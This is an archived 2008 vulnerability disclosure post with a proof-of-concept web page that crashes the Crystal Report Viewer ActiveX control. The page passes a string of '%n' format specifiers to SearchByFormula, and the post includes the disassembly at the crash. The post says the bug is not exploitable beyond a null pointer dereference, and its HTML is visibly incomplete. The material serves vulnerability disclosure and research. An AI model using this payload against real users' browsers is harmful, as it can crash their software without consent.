[RST]Crystal Report Viewer null pointer dereference

escalation666 · July 11, 2008

<html>

<--

found and coded by:escalation666

RIP moubik

Crystal Report Viewer Control crviewer.dll null pointer dereference

Exploitable: No

RegKey Safe for Script: True

RegKey Safe for Init: True

Disassembly:

600084AB PUSH ECX

600084AC PUSH ECX

600084AD PUSH ESI

600084AE PUSH EDI

600084AF MOV [EBP-10],ECX

600084B2 MOV EAX,[EBP+8]

600084B5 MOV ESI,[EAX+50] -> crash

where eax: 00000000

ebp: 00000000

ebp+8: 00000000

Poc:

-->

</object>

<head>

function exploit(){

var arg = "%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n%n";

test.SearchByFormula(arg);

}

</script></head>

</body>

</html>

Recommended Posts